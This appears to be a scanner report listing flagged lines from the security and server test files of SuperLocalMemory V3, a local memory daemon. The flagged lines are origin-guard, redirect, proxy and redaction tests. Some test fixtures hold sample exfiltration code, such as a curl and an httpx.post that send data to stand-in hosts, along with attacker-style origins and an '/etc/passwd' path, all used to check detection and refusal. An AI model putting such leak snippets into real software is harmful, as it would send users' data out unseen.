def test_retried_credential_to_lan_peer_arrives_redacted(self, broker, mesh_db): self._prefill_row(mesh_db, "http://192.168.1.50:8765", _SECRET) - Network accessline 180
self._prefill_row(mesh_db, "http://192.168.1.50:8765", _SECRET) - Network accessline 181
client = _sync_client(broker, "http://192.168.1.50:8765") - Network accessline 195
def test_retried_message_to_loopback_peer_arrives_verbatim(self, broker, mesh_db): self._prefill_row(mesh_db, "http://127.0.0.1:8765", _SECRET) - Network accessline 196
self._prefill_row(mesh_db, "http://127.0.0.1:8765", _SECRET) - Network accessline 197
client = _sync_client(broker, "http://127.0.0.1:8765") - Network accessline 213
self._prefill_row(mesh_db, "http://192.168.1.50:8765", _SECRET)
tests/test_security/test_mesh_read_permission.py
- Executable scriptline 1
Executable file - Network accessline 116
_company(rbac) descriptor = app.state.daemon_descriptor local = TestClient(app, client=("127.0.0.1", 40000), base_url="http://127.0.0.1:8765") - Network accessline 117
descriptor = app.state.daemon_descriptor local = TestClient(app, client=("127.0.0.1", 40000), base_url="http://127.0.0.1:8765") resp = local.get("/mesh/state", headers={ - Network accessline 118
local = TestClient(app, client=("127.0.0.1", 40000), base_url="http://127.0.0.1:8765") - Network accessline 125
def _fleet_node(app) -> TestClient: return TestClient(app, client=("192.168.50.31", 40000), base_url="http://192.168.50.144:8765") - Network accessline 127
base_url="http://192.168.50.144:8765")
tests/test_security/test_mesh_state_delta_route.py
- Executable scriptline 1
Executable file
tests/test_security/test_nonlocal_read_gate.py
- Executable scriptline 1
Executable file - Network accessline 31
_LAN_PEER = ("192.168.50.20", 50000) _BASE = "http://192.168.50.144:8765" - Network accessline 32
_BASE = "http://192.168.50.144:8765" - Network accessline 220
assert client.post("/mcp/", json={}).status_code == 403 assert client.post("/mcp/hermes", json={}).status_code == 403 secure = TestClient(app, client=_LAN_PEER, base_url="https://192.168.50.144:8765", - Network accessline 221
assert client.post("/mcp/hermes", json={}).status_code == 403 secure = TestClient(app, client=_LAN_PEER, base_url="https://192.168.50.144:8765", raise_server_exceptions=False) - Network accessline 222
secure = TestClient(app, client=_LAN_PEER, base_url="https://192.168.50.144:8765",
tests/test_security/test_origin_guard_wiring.py
- Executable scriptline 1
Executable file - Network accessline 124
resp = guard_client.post( "/test-write", headers={"Origin": "https://evil.example.com"}, - Network accessline 125
"/test-write", headers={"Origin": "https://evil.example.com"}, ) - Network accessline 126
headers={"Origin": "https://evil.example.com"}, - Network accessline 151
resp = guard_client.post( "/test-write", headers={"Origin": "http://127.0.0.1:8765"}, - Network accessline 152
"/test-write", headers={"Origin": "http://127.0.0.1:8765"}, ) - Network accessline 153
headers={"Origin": "http://127.0.0.1:8765"}, - Network accessline 163
resp = guard_client.post( "/test-write", headers={"Origin": "http://localhost:8417"}, - Network accessline 164
"/test-write", headers={"Origin": "http://localhost:8417"}, ) - Network accessline 165
headers={"Origin": "http://localhost:8417"}, - Network accessline 173
"/test-write", headers={ "Origin": "http://localhost:8417", - Network accessline 174
[Credential-related source omitted] - Network accessline 175
"Origin": "http://localhost:8417", - Network accessline 185
resp = guard_client.get( "/test-read", headers={"Origin": "https://evil.example.com"}, - Network accessline 186
"/test-read", headers={"Origin": "https://evil.example.com"}, ) - Network accessline 187
headers={"Origin": "https://evil.example.com"}, - Network accessline 199
resp = guard_client.post( "/test-write", headers={"Origin": "http://192.168.1.50:8765"}, - Network accessline 200
"/test-write", headers={"Origin": "http://192.168.1.50:8765"}, ) - Network accessline 201
headers={"Origin": "http://192.168.1.50:8765"}, - Network accessline 218
resp = client.post( "/test-write", headers={"Origin": "http://192.168.1.50:8765"}, - Network accessline 219
"/test-write", headers={"Origin": "http://192.168.1.50:8765"}, ) - Network accessline 220
headers={"Origin": "http://192.168.1.50:8765"},
tests/test_security/test_outbound_gate_guard.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Network accessline 8
must pass ``core.outbound_http``. This test walks the source of the package and the integration adapters, finds every call that opens a connection (httpx, urllib, requests, aiohttp, http.client, raw sockets, the OpenAI/Anthropic SDKs, - Network accessline 9
the integration adapters, finds every call that opens a connection (httpx, urllib, requests, aiohttp, http.client, raw sockets, the OpenAI/Anthropic SDKs, Google API clients, IMAP/SMTP, and subprocess curl/wget), and fails when one is - Network accessline 10
urllib, requests, aiohttp, http.client, raw sockets, the OpenAI/Anthropic SDKs, - Network accessline 52
(1, "PROBE: `slm remote check` TLS handshake to this SLM's own remote " "listener (configured host:port), verified with its CA; sends no data"), (_S + "cli/daemon.py", "_fetch_health", "urllib.request.urlopen"): - Network accessline 53
"listener (configured host:port), verified with its CA; sends no data"), (_S + "cli/daemon.py", "_fetch_health", "urllib.request.urlopen"): (1, "PROBE: GET /health on 127.0.0.1, no body; identity checked after"), - Network accessline 54
(_S + "cli/daemon.py", "_fetch_health", "urllib.request.urlopen"): - Network accessline 64
# core/mcp_embedder_proxy.py has no entry: since 4.1.20 it reaches only its # own data root's daemon through cli.daemon.daemon_request, which builds # http://127.0.0.1:<descriptor port> and sends via core.outbound_http.urlopen - Network accessline 65
# own data root's daemon through cli.daemon.daemon_request, which builds # http://127.0.0.1:<descriptor port> and sends via core.outbound_http.urlopen # (the gate: no proxy, no redirects). Nothing there opens a connection itself. - Network accessline 66
# http://127.0.0.1:<descriptor port> and sends via core.outbound_http.urlopen - Network accessline 81
(_S + "core/ollama_validator.py", "validate_ollama_model", "httpx.post"): (2, "PROBE: one fixed probe string to test a model; no memory text"), (_S + "core/remember_runtime.py", "_slm_health_check", "urllib.request.urlopen"): - Network accessline 82
(2, "PROBE: one fixed probe string to test a model; no memory text"), (_S + "core/remember_runtime.py", "_slm_health_check", "urllib.request.urlopen"): (1, "PROBE: GET /health on 127.0.0.1, no body"), - Network accessline 83
(_S + "core/remember_runtime.py", "_slm_health_check", "urllib.request.urlopen"): - Network accessline 87
(_S + "evolution/llm_dispatch.py", "_call_openai_api_backend", "openai.OpenAI"): (1, "SDK: prompt arrives only from _dispatch_llm, hosted-redacted first"), (_S + "evolution/skill_evolver.py", "_ollama_running", "urllib.request.u - Network accessline 88
(1, "SDK: prompt arrives only from _dispatch_llm, hosted-redacted first"), (_S + "evolution/skill_evolver.py", "_ollama_running", "urllib.request.urlopen"): (1, "PROBE: GET /api/tags on 127.0.0.1, no body"), - Network accessline 89
(_S + "evolution/skill_evolver.py", "_ollama_running", "urllib.request.urlopen"): - Network accessline 90
(1, "PROBE: GET /api/tags on 127.0.0.1, no body"), (_S + "evolution/skill_evolver.py", "_ollama_models", "urllib.request.urlopen"): (1, "PROBE: GET /api/tags on 127.0.0.1, no body; reads model names only"), - Network accessline 91
(_S + "evolution/skill_evolver.py", "_ollama_models", "urllib.request.urlopen"): - Network accessline 92
(1, "PROBE: GET /api/tags on 127.0.0.1, no body; reads model names only"), (_S + "hooks/portable_kit.py", "_check_daemon_health", "urllib.request.urlopen"): (1, "PROBE: GET /api/v3/health on 127.0.0.1, no body"), - Network accessline 93
(_S + "hooks/portable_kit.py", "_check_daemon_health", "urllib.request.urlopen"): - Network accessline 142
(_S + "remote_connections/gateway_provider.py", "CloudGatewayProvider._request", "httpx.AsyncClient"): (1, "OAUTH: owner enrollment calls to the fixed https://auth.superlocalmemory.com " - Network accessline 143
"httpx.AsyncClient"): (1, "OAUTH: owner enrollment calls to the fixed https://auth.superlocalmemory.com " "host (AUTH constant plus a fixed path allow-list, nothing caller-supplied). " - Network accessline 144
(1, "OAUTH: owner enrollment calls to the fixed https://auth.superlocalmemory.com " - Network accessline 207
@pytest.mark.parametrize("source,expected", [ ("import httpx\ndef leak(t):\n httpx.post('https://x', json={'t': t})\n", - Network accessline 208
("import httpx\ndef leak(t):\n httpx.post('https://x', json={'t': t})\n", - Network accessline 209
("leak", "httpx.post")), ("import httpx as h\ndef leak(t):\n h.post('https://x', json={'t': t})\n", ("leak", "httpx.post")), - Network accessline 210
("import httpx as h\ndef leak(t):\n h.post('https://x', json={'t': t})\n", - Network accessline 213
("A.go", "httpx.Client")), ("import urllib.request as u\ndef go(r):\n u.urlopen(r)\n", ("go", "urllib.request.urlopen")), - Network accessline 214
("import urllib.request as u\ndef go(r):\n u.urlopen(r)\n", ("go", "urllib.request.urlopen")), ("from urllib.request import urlopen\ndef go(r):\n urlopen(r)\n", - Network accessline 215
("go", "urllib.request.urlopen")), - Network accessline 216
("from urllib.request import urlopen\ndef go(r):\n urlopen(r)\n", ("go", "urllib.request.urlopen")), ("import requests\ndef go(t):\n requests.post('u', data=t)\n", - Network accessline 217
("go", "urllib.request.urlopen")), - Network accessline 218
("import requests\ndef go(t):\n requests.post('u', data=t)\n", - Network accessline 219
("go", "requests.post")), ("import subprocess\ndef go(t):\n subprocess.run(['curl', '-d', t, 'https://x'])\n", ("go", "subprocess:curl")), - Network accessline 220
("import subprocess\ndef go(t):\n subprocess.run(['curl', '-d', t, 'https://x'])\n", - Network accessline 234
target.read_text(encoding="utf-8") + "\n\ndef _leak(text):\n import httpx\n" " return httpx.post('https://example.invalid', json={'t': text})\n", - Network accessline 235
+ "\n\ndef _leak(text):\n import httpx\n" " return httpx.post('https://example.invalid', json={'t': text})\n", encoding="utf-8", - Network accessline 236
" return httpx.post('https://example.invalid', json={'t': text})\n",
tests/test_security/test_outbound_no_redirect.py
- Executable scriptline 1
Executable file - Network accessline 47
if length: self.rfile.read(length) recorder.requests.append({k.lower(): v for k, v in self.headers.items()}) - Network accessline 48
self.rfile.read(length) recorder.requests.append({k.lower(): v for k, v in self.headers.items()}) self.send_response(200) - Network accessline 49
recorder.requests.append({k.lower(): v for k, v in self.headers.items()}) - Network accessline 60
collector = _serve(Collector) target = f"http://localhost:{collector.server_address[1]}/stolen" - Network accessline 61
target = f"http://localhost:{collector.server_address[1]}/stolen" - Network accessline 78
squatter = _serve(Squatter) try: yield f"http://127.0.0.1:{squatter.server_address[1]}/internal/prewarm", recorder - Network accessline 79
try: yield f"http://127.0.0.1:{squatter.server_address[1]}/internal/prewarm", recorder finally: - Network accessline 80
yield f"http://127.0.0.1:{squatter.server_address[1]}/internal/prewarm", recorder - Network accessline 86
def test_gated_urlopen_does_not_follow_a_redirect_to_another_origin(servers) -> None: url, recorder = servers req = urllib.request.Request( - Network accessline 87
url, recorder = servers req = urllib.request.Request( url, data=b'{"tool":"x"}', method="POST", - Network accessline 88
req = urllib.request.Request( - Network accessline 100
) -> None: url, recorder = servers monkeypatch.setenv("HTTP_PROXY", "http://127.0.0.1:9") # dead; loopback bypasses it - Network accessline 101
url, recorder = servers monkeypatch.setenv("HTTP_PROXY", "http://127.0.0.1:9") # dead; loopback bypasses it monkeypatch.setenv("http_proxy", "http://127.0.0.1:9") - Network accessline 102
[Credential-related source omitted] - Network accessline 103
[Credential-related source omitted] - Network accessline 104
[Credential-related source omitted] - Network accessline 128
server = _serve(Ok) monkeypatch.setenv("HTTP_PROXY", "http://127.0.0.1:9") - Network accessline 129
monkeypatch.setenv("HTTP_PROXY", "http://127.0.0.1:9") - Network accessline 130
monkeypatch.setenv("http_proxy", "http://127.0.0.1:9") try: req = urllib.request.Request( - Network accessline 131
try: req = urllib.request.Request( f"http://127.0.0.1:{server.server_address[1]}/ok", data=b"{}", method="POST", - Network accessline 132
req = urllib.request.Request( - Network accessline 133
f"http://127.0.0.1:{server.server_address[1]}/ok", data=b"{}", method="POST", ) with outbound_http.urlopen(req, timeout=5) as resp:
tests/test_security/test_preference_redaction.py
- Executable scriptline 1
Executable file
tests/test_security/test_proxy_boundary_integration.py
- Executable scriptline 1
Executable file - Network accessline 26
async def upstream(req): sent.append(req) return httpx.Response(200, json={"choices": [], "ok": True}) - Network accessline 28
return httpx.Response(200, json={"choices": [], "ok": True}) - Network accessline 33
def offline_client(*args, **kwargs): kwargs["transport"] = httpx.MockTransport(upstream) - Network accessline 34
kwargs["transport"] = httpx.MockTransport(upstream) - Network accessline 38
proxy = app.state.optimize_proxy asyncio.run(proxy.startup()) client = TestClient(app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", - Network accessline 39
asyncio.run(proxy.startup()) client = TestClient(app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", client=("127.0.0.1", 51000)) - Network accessline 40
client = TestClient(app, base_url=f"http://127.0.0.1:{app.state.daemon_descriptor.port}", - Network accessline 62
@pytest.mark.parametrize("origin", ["http://localhost:8765", "http://127.0.0.1:8767", - Network accessline 63
"https://attacker.example"]) - Network accessline 73
def test_proxy_own_origin_and_nonbrowser_provider_auth_work(proxy_app): app, client, sent = proxy_app for origin in (None, f"http://localhost:{app.state.daemon_descriptor.port}"): - Network accessline 74
[Credential-related source omitted] - Network accessline 75
for origin in (None, f"http://localhost:{app.state.daemon_descriptor.port}"):
tests/test_security/test_proxy_egress_integration.py
- Executable scriptline 1
Executable file - Network accessline 105
async def redirect(request): sent.append(request) return httpx.Response(302, headers={"Location": "https://unreviewed.example"}) - Network accessline 107
return httpx.Response(302, headers={"Location": "https://unreviewed.example"}) - Network accessline 109
monkeypatch.setattr(httpx, "AsyncClient", build) pool = GatedAsyncClient(transport=httpx.MockTransport(redirect)) - Network accessline 110
pool = GatedAsyncClient(transport=httpx.MockTransport(redirect)) - Network accessline 113
response = await pool.post(f"http://127.0.0.1:{free_port}/fixture",
tests/test_security/test_rate_limit_e2e.py
- Executable scriptline 1
Executable file - Access to secretsline 81
[Credential-related source omitted] - Access to secretsline 82
[Credential-related source omitted] - Access to secretsline 149
[Credential-related source omitted] - Access to secretsline 151
[Credential-related source omitted] - Access to secretsline 160
[Credential-related source omitted] - Access to secretsline 190
[Credential-related source omitted] - Access to secretsline 193
[Credential-related source omitted] - Access to secretsline 217
[Credential-related source omitted] - Access to secretsline 223
[Credential-related source omitted]
tests/test_security/test_read_only_post_permission.py
- Executable scriptline 1
Executable file
tests/test_security/test_refused_body_never_echoed.py
tests/test_security/test_remote_access_gate.py
tests/test_security/test_remote_media_tools.py
- Executable scriptline 1
Executable file - Network accessline 94
@pytest.mark.parametrize("tool,args", [ ("remember_media", {"download_url": "https://h.example/a.png", "content": "x", "tags": "t"}), - Network accessline 95
("remember_media", {"download_url": "https://h.example/a.png", "content": "x", "tags": "t"}),
tests/test_security/test_remote_mode_gaps.py
- Executable scriptline 1
Executable file - Network accessline 79
Line 144: ``host = host.split("]", 1)[0].lstrip("[")`` This path fires when origin is like ``http://[::ffff:192.168.1.50]:8765``. - Network accessline 80
This path fires when origin is like ``http://[::ffff:192.168.1.50]:8765``. - Network accessline 87
result = rm.is_remote_origin_allowed("http://[::ffff:192.168.1.50]:8765") - Network accessline 102
try: result = rm.is_remote_origin_allowed("http://[fe80::1]:8765") - Network accessline 103
result = rm.is_remote_origin_allowed("http://[fe80::1]:8765")
tests/test_security/test_remote_outcome_id_integration.py
- Executable scriptline 1
Executable file
tests/test_security/test_remote_profile_binding.py
- Executable scriptline 1
Executable file - Access to secretsline 31
[Credential-related source omitted] - Access to secretsline 50
[Credential-related source omitted] - Network accessline 523
bind_arguments(tool, {"path": "/etc/passwd"}, key_name="k", bound="default") with pytest.raises(BindingRefusal): bind_arguments(tool, {"download_url": "https://x.example/a.png"}, - Network accessline 524
with pytest.raises(BindingRefusal): bind_arguments(tool, {"download_url": "https://x.example/a.png"}, key_name="k", bound="default") - Network accessline 525
bind_arguments(tool, {"download_url": "https://x.example/a.png"}, - Network accessline 546
_ATTACHMENT = {"download_url": "https://files.chat.example/f1?sig=x", "file_id": "file_1", - Network accessline 562
@pytest.mark.parametrize("bad", ["https://x.example/a.png", ["a"], 5, True])
tests/test_security/test_remote_redaction.py
- Executable scriptline 1
Executable file
tests/test_security/test_remote_redaction_upload_link.py
- Executable scriptline 1
Executable file - Network accessline 7
[Credential-related source omitted] - Network accessline 8
LINK = "https://mcp.superlocalmemory.com/u/" + "a" * 32 + "/" + TOKEN - Network accessline 23
def test_other_links_and_malformed_tokens_are_not_exempt(monkeypatch): monkeypatch.setattr(remote_redaction, "_host_strings", lambda: ("Ab_-",)) other = "https://mcp.superlocalmemory.com/u/" + "a" * 32 + "/" + "Ab_-" * 3 - Network accessline 24
monkeypatch.setattr(remote_redaction, "_host_strings", lambda: ("Ab_-",)) other = "https://mcp.superlocalmemory.com/u/" + "a" * 32 + "/" + "Ab_-" * 3 assert "Ab_-" not in remote_redaction.redact_text(other).split("/")[-1] - Network accessline 25
other = "https://mcp.superlocalmemory.com/u/" + "a" * 32 + "/" + "Ab_-" * 3
tests/test_security/test_remote_routed_reads.py
- Executable scriptline 1
Executable file
tests/test_security/test_remote_routed_writes.py
- Executable scriptline 1
Executable file
tests/test_security/test_remote_tool_policy.py
tests/test_security/test_summary_timeline_read_permission.py
- Executable scriptline 1
Executable file
tests/test_security/test_websocket_boundary_integration.py
- Executable scriptline 1
Executable file - Network accessline 12
@pytest.mark.parametrize("origin", [ "http://localhost:8765", "http://127.0.0.1:8767", - Network accessline 13
"http://localhost:8765", "http://127.0.0.1:8767", - Network accessline 14
"http://localhost:8417", "https://evil.example", - Network accessline 15
"http://localhost.evil.example", "null", - Network accessline 19
app, client = browser_app if origin == "same_port_other_loopback": origin = f"http://127.0.0.2:{app.state.daemon_descriptor.port}" - Network accessline 20
if origin == "same_port_other_loopback": origin = f"http://127.0.0.2:{app.state.daemon_descriptor.port}" elif origin == "same_port_https": - Network accessline 21
origin = f"http://127.0.0.2:{app.state.daemon_descriptor.port}" - Network accessline 22
elif origin == "same_port_https": origin = f"https://localhost:{app.state.daemon_descriptor.port}" with pytest.raises(WebSocketDisconnect) as exc: - Network accessline 23
origin = f"https://localhost:{app.state.daemon_descriptor.port}" - Network accessline 31
def test_company_same_origin_ws_and_http_both_work(browser_app, host): app, client = browser_app origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 32
app, client = browser_app origin = f"http://{host}:{app.state.daemon_descriptor.port}" assert client.get("/api/memories", headers={"Origin": origin}).status_code == 200 - Network accessline 33
origin = f"http://{host}:{app.state.daemon_descriptor.port}" - Network accessline 43
app, client = browser_app client.cookies.clear() headers = {"Origin": f"http://127.0.0.1:{app.state.daemon_descriptor.port}"} - Network accessline 44
client.cookies.clear() headers = {"Origin": f"http://127.0.0.1:{app.state.daemon_descriptor.port}"} if credential == "invalid": - Network accessline 45
headers = {"Origin": f"http://127.0.0.1:{app.state.daemon_descriptor.port}"} - Network accessline 83
_, client = browser_app with pytest.raises(WebSocketDisconnect) as exc: with client.websocket_connect("/ws/updates", headers={"Origin": "http://localhost.evil.example"}): - Network accessline 84
with pytest.raises(WebSocketDisconnect) as exc: with client.websocket_connect("/ws/updates", headers={"Origin": "http://localhost.evil.example"}): pytest.fail("failed origin check accepted") - Network accessline 85
with client.websocket_connect("/ws/updates", headers={"Origin": "http://localhost.evil.example"}):
tests/test_server/__init__.py
- Executable scriptline 1
Executable file
tests/test_server/test_386_dashboard_read_boundary.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_busy_daemon_can_be_asked_what_it_is_doing.py
tests/test_server/test_a_context_load_is_never_judged_through_any_door.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_dead_embedder_gets_revived.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_a_degraded_recall_says_it_was_not_checked.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_listed_memory_belongs_to_its_profile.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_mismatched_embedding_width_is_refused_on_save.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_page_on_another_domain_cannot_reach_slm.py
- Executable scriptline 1
Executable file
tests/test_server/test_a_remote_recall_finishes_inside_the_relay_budget.py
- Executable scriptline 1
Executable file
tests/test_server/test_abstraction_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_actor_role_resolution.py
- Executable scriptline 1
Executable file
tests/test_server/test_agent_identity_attribution.py
tests/test_server/test_answer_check_api.py
- Executable scriptline 1
Executable file - Network accessline 645
"/api/v3/answer-check/mode", json={"mode": "off"}, headers={"Origin": "http://localhost:8417"}, - Network accessline 646
json={"mode": "off"}, headers={"Origin": "http://localhost:8417"}, ) - Network accessline 647
headers={"Origin": "http://localhost:8417"},
tests/test_server/test_answer_check_auth.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_history_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_laya_actions.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_off_the_loop.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_one_source_of_truth.py
- Executable scriptline 1
Executable file
tests/test_server/test_answer_check_rerank_api.py
- Executable scriptline 1
Executable file - Network accessline 339
tc, _h = daemon_client response = tc.post(URL, json={"enabled": False, "accepted": False, "provider": "typesafe"}, headers={"Origin": "http://localhost:8417"}) - Network accessline 340
response = tc.post(URL, json={"enabled": False, "accepted": False, "provider": "typesafe"}, headers={"Origin": "http://localhost:8417"}) assert response.status_code == 403, response.text - Network accessline 341
headers={"Origin": "http://localhost:8417"})
tests/test_server/test_answer_check_save_applies_live_and_exclusively.py
- Executable scriptline 1
Executable file - Network accessline 46
def __init__(self) -> None: self.bodies: list[dict] = [] self.transport = httpx.MockTransport(self._handle) - Network accessline 48
self.transport = httpx.MockTransport(self._handle) - Network accessline 56
answers[CHOICE_KEY] = {"type": "choice", "choice": keys[0], "probabilities": {k: 1.0 / len(keys) for k in keys}} return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}}) - Network accessline 58
return httpx.Response(200, json={"model": MODEL, "answers": answers, "usage": {}})
tests/test_server/test_answer_check_shares_the_question_clock.py
- Executable scriptline 1
Executable file
tests/test_server/test_applied_correction_is_findable.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_asset_versions_track_file_content.py
- Executable scriptline 1
Executable file
tests/test_server/test_background_loops_idle_without_progress.py
- Executable scriptline 1
Executable file
tests/test_server/test_backup_connect_pages.py
tests/test_server/test_backup_encryption_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_backup_export_holds_every_advertised_store.py
tests/test_server/test_backup_security_contract.py
- Executable scriptline 1
Executable file - Network accessline 145
request = _request( headers=[ (b"origin", b"http://localhost:8417"), - Network accessline 146
headers=[ (b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), - Network accessline 147
(b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), ], - Network accessline 164
request = _request( headers=[ (b"origin", b"http://localhost:8765"), - Network accessline 165
headers=[ (b"origin", b"http://localhost:8765"), (b"sec-fetch-site", b"same-origin"), - Network accessline 166
(b"origin", b"http://localhost:8765"), (b"sec-fetch-site", b"same-origin"), ], - Network accessline 181
request = _request( headers=[ (b"origin", b"http://localhost:8417"), - Network accessline 182
headers=[ (b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), - Network accessline 183
(b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), ], - Network accessline 200
request = _request( headers=[ (b"origin", b"http://localhost:8417"), - Network accessline 201
headers=[ (b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), - Network accessline 202
(b"origin", b"http://localhost:8417"), (b"sec-fetch-site", b"same-site"), (b"x-slm-user-session", b"explicit-session-token"), - Access to secretsline 243
[Credential-related source omitted]
tests/test_server/test_behavioral_profile_integrity.py
- Executable scriptline 1
Executable file
tests/test_server/test_brain_telemetry_truth.py
- Executable scriptline 1
Executable file
tests/test_server/test_canonical_import_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_canonical_ingest_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_canonical_remember_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_chat_injection_boundary.py
tests/test_server/test_company_mode_get_routes.py
tests/test_server/test_company_mode_mutation_routes.py
- Executable scriptline 1
Executable file - Network accessline 134
for name in ("admin1", "viewer1", "member1") } client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, - Network accessline 135
} client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK, raise_server_exceptions=False) - Network accessline 136
client = TestClient(app, base_url="http://127.0.0.1:8765", client=LOOPBACK,
tests/test_server/test_company_status_fixture_isolation.py
- Executable scriptline 1
Executable file
tests/test_server/test_config_file_concurrency.py
- Executable scriptline 1
Executable file
tests/test_server/test_credential_tables_match_the_real_schema.py
- Executable scriptline 1
Executable file
tests/test_server/test_daemon_answer_check_writer_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_server/test_daemon_shutdown_imports.py
- Executable scriptline 1
Executable file
tests/test_server/test_daemon_stops_the_live_engine.py
- Executable scriptline 1
Executable file
tests/test_server/test_dashboard_authed_get_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_dashboard_browsing_truth.py
- Executable scriptline 1
Executable file
tests/test_server/test_dashboard_page_is_read_as_utf8.py
tests/test_server/test_dashboard_route_profile_isolation.py
- Executable scriptline 1
Executable file
tests/test_server/test_dashboard_search_fallback_matches_recall.py
- Executable scriptline 1
Executable file
tests/test_server/test_dashboard_stays_fast_under_background_load.py
- Executable scriptline 1
Executable file - Network accessline 89
port = server.servers[0].sockets[0].getsockname()[1] descriptor = app.state.daemon_descriptor yield {"base": f"http://127.0.0.1:{port}", "app": app, - Network accessline 90
descriptor = app.state.daemon_descriptor yield {"base": f"http://127.0.0.1:{port}", "app": app, "headers": {"X-SLM-Daemon-Capability": descriptor.capability, - Network accessline 91
yield {"base": f"http://127.0.0.1:{port}", "app": app, - Network accessline 98
def _timed_get(base: str, path: str, headers: dict, out: dict) -> None: request = urllib.request.Request(base + path, headers=headers) - Network accessline 99
request = urllib.request.Request(base + path, headers=headers) - Network accessline 100
started = time.perf_counter() try: with urllib.request.urlopen(request, timeout=60) as response: - Network accessline 101
try: with urllib.request.urlopen(request, timeout=60) as response: response.read() - Network accessline 102
with urllib.request.urlopen(request, timeout=60) as response:
tests/test_server/test_engine_upgrade_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_enrichment_pool_lifecycle.py
- Executable scriptline 1
Executable file
tests/test_server/test_enrichment_submission_is_bounded.py
- Executable scriptline 1
Executable file
tests/test_server/test_entity_explorer_determinism.py
- Executable scriptline 1
Executable file
tests/test_server/test_entity_tier_profile_default_isolation.py
- Executable scriptline 1
Executable file
tests/test_server/test_erasure_after_completion.py
- Executable scriptline 1
Executable file
tests/test_server/test_erasure_visibility.py
- Executable scriptline 1
Executable file
tests/test_server/test_explicit_recall_queue.py
- Executable scriptline 1
Executable file
tests/test_server/test_export_marks_media_memories.py
- Executable scriptline 1
Executable file
tests/test_server/test_export_routes_on_a_real_store.py
tests/test_server/test_export_spool_is_owner_only.py
- Executable scriptline 1
Executable file
tests/test_server/test_f10_ranker_tamper_check.py
- Executable scriptline 1
Executable file
tests/test_server/test_f2_backfill_status_surface.py
- Executable scriptline 1
Executable file
tests/test_server/test_f6_repair_loop_broad_catch.py
- Executable scriptline 1
Executable file
tests/test_server/test_f8_behavioral_connection_close.py
- Executable scriptline 1
Executable file
tests/test_server/test_facets_rbac.py
- Executable scriptline 1
Executable file - Network accessline 50
_profile_id="default") app.state.rbac = rbac client = TestClient(app, base_url="http://127.0.0.1:8765") - Network accessline 51
app.state.rbac = rbac client = TestClient(app, base_url="http://127.0.0.1:8765") return client, app, db, rbac - Network accessline 52
client = TestClient(app, base_url="http://127.0.0.1:8765")
tests/test_server/test_fallback_fidelity_budget_starts_after_the_search.py
- Executable scriptline 1
Executable file
tests/test_server/test_fallback_source_fidelity.py
- Executable scriptline 1
Executable file
tests/test_server/test_features_reply_is_fast.py
- Executable scriptline 1
Executable file
tests/test_server/test_features_routes.py
- Executable scriptline 1
Executable file
tests/test_server/test_glance_and_hook_recall_answer.py
- Executable scriptline 1
Executable file
tests/test_server/test_hook_event_writer.py
- Executable scriptline 1
Executable file
tests/test_server/test_hook_events_route.py
- Executable scriptline 1
Executable file
tests/test_server/test_http_error_responses.py
- Executable scriptline 1
Executable file
tests/test_server/test_http_eventbus_emissions.py
- Executable scriptline 1
Executable file
tests/test_server/test_ingestion_boot_sweep.py
- Executable scriptline 1
Executable file
tests/test_server/test_insights_changed_this_week_kind.py
- Network accessline 1
# Copyright (c) 2026 Varun Pratap Bhardwaj / Qualixar # Licensed under AGPL-3.0-or-later - see LICENSE file # Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com - Executable scriptline 1
Executable file - Network accessline 3
# Part of SuperLocalMemory V3 | https://qualixar.com | https://varunpratap.com
tests/test_server/test_keyword_fallback_facets_over_http.py
- Executable scriptline 1
Executable file
tests/test_server/test_keyword_fallback_finds_natural_questions.py
- Executable scriptline 1
Executable file
tests/test_server/test_keyword_fallback_honours_filters.py
- Executable scriptline 1
Executable file
tests/test_server/test_keyword_fallback_tiers.py
- Executable scriptline 1
Executable file
tests/test_server/test_layered_recall_reaches_every_door.py
- Executable scriptline 1
Executable file
tests/test_server/test_learning_readiness_route.py
- Executable scriptline 1
Executable file
